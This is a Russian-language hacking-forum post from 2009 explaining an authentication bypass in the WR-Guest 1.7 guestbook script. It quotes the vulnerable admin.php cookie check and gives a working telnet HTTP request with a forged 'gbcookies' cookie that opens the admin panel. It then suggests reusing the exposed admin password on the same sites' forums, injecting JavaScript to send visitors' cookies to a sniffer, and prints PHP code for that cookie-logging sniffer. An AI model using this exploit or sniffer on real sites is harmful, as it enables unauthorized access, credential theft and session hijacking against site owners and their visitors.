Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Описание уязвимости гостевой книги WR-Guest 1.7 |
28.08.2009, 10:31
|
|
Новичок
Регистрация: 11.06.2009
Сообщений: 1
Провел на форуме:
97208
Репутация:
9
|
|
Описание уязвимости гостевой книги WR-Guest 1.7
Описание уязвимости гостевой книги WR-Guest 1.7
В первую очередь описание данной уязвимости будет полезно для начинающих, оно не будет интересно продвинутым челам и не является предлогом к действиям запрещенными законами РФ.
Скрипт был написан 07.01. В каком состоянии был автор я незнаю, но точно не в трезвом.))
Основы
Итак, Cookie — это именованная порция (довольно небольшая) информации, которая может сохраняться прямо в настройках браузера пользователя между сеансами. Причина, по которой применяются Cookies — большое количество посетителей вашего сервера, а также нежелание иметь нечто подобное базе данных для хранения информации о каждом посетителе. Поиск в такой базе может очень и очень затянуться (например, при цифре миллион гостей в день он будет отнимать львиную долю времени), и, в то же время, нет никакого смысла централизованно хранить столь отрывочные сведения. Использование Cookies фактически перекладывает задачу на плечи браузера, решая одним махом как проблему быстродействия, так и проблему большого объема базы данных с информацией о пользователе. Самый распространенный пример применения Cookies — логин и пароль пользователя, использующего некоторые защищенные ресурсы вашего сайта. Эти данные, конечно же, между открытиями страниц хранятся в Cookies, для того чтобы пользователю не пришлось их каждый раз набирать вручную заново.
Котеров Д. В.
Самоучитель PHP 4
+++++/Поехали /+++++
Сама уязвимость данной гостевой книги и заключается в неправильной проверке куки, а точнее в отсутствии ее вообще. Вот участок бажного кода файла admin.php:
PHP
Код:
if (!isset($_COOKIE['gbcookies'])) { // проверка на куки
if (!isset($_POST['name']) & !isset($_POST['pass'])) {
/*вывод формы ввода пароля*/;
exit;}
...
// Сверяем введённое имя/пароль с заданным в конфиг файле
if ($name==$adminname & $pass==$adminpass) {
$tektime=time();
$gbcookies="$adminname|$adminpass|$tektime|";
setcookie("gbcookies", $gbcookies, time()+300);
Header("Location: admin.php"); exit;}
print "$back Ваш данные НЕ верены!"; exit;
}
// Авторизация пройдена успешно
else {$gbc=$_COOKIE['gbcookies']; $gbc=explode("|", $gbc); $gbname=$gbc[0];$gbpass=$gbc[1];$gbtime=$gbc[2];}
В этом участке проверяется установлены ли куки, если их нет то скрипт выводит форму ввода пароля,а если они есть, то нас пустят в админку, при этом в скрипте не сравнивается значение пароля в кукисах с паролем в конфиге. Т.е. достаточно отправить скрипту куки gbcookies с любым значением и мы в админке!
#Exploit
Первым делом на ум приходит прителнетиться к хосту и запросить страницу, не забыв отправить куки.
Код:
telnet wr-script.ru 80
... ждем коннект...
GET /guest/admin.php HTTP/1.1
Host: wr-script.ru
Cookie: gbcookies=1|admin|12345678|
Enter
Enter
Получаем страницу админки, где можно увидеть пароль админа(admin.php?pswrd=admin). Спрашивается зачем передавать пароль через GET переменную, если есть куки, да еще в открытом виде?! В итоге мы имеем 300 уязвимых гостевых (по запросу в рамблере), если учесть, что некоторые админы ставят одинаковые пароли на разные скрипты, то еще и форумы получим. Или есть пароль на гостевуху adminguest, то методом дедукции разгадаем пароль к форуму(adminforum). Для более наглых можно впихнуть в текст приветствия гостевухи javascript, который будет отправлять куки на ваш снифер:
PHP
Код:
Мини снифер:
// if(isset($_GET['a']) && !empty($_GET['a'])){
$f=fopen("log.txt","a");
fputs($f,$_GET['a']."\n");
fclose($f);
}
?>//
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
